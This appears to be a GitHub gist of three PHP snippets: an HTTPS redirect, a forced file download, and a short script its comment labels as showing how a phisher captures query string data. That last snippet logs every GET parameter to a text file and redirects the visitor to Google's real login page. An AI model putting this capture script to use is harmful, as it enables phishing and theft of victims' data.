Skip to content

Instantly share code, notes, and snippets.

@lukeawyatt
Last active January 8, 2021 20:23
Show Gist options
  • Save lukeawyatt/b8a5a04e0bc1da89a97afa813b790db2 to your computer and use it in GitHub Desktop.
Save lukeawyatt/b8a5a04e0bc1da89a97afa813b790db2 to your computer and use it in GitHub Desktop.
Lang: PHP
<?php
if(!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] == "" || $_SERVER['HTTPS'] == "off"){
$redirect = "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
header('Status: 301 Moved Permanently', true);
header("Location: $redirect", true, 301);
}
?>
<?php
$file = './path/to/file';
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit();
}
else {
exit('Failed...');
}
?>
<?php
// THIS EXAMPLE SHOWS HOW A PHISHER WOULD CAPTURE QUERY STRING DATA
Header("Location: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy&ltmpl=default&ltmplcache=2");
$handle = fopen("list.txt", "a");
Foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
Fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment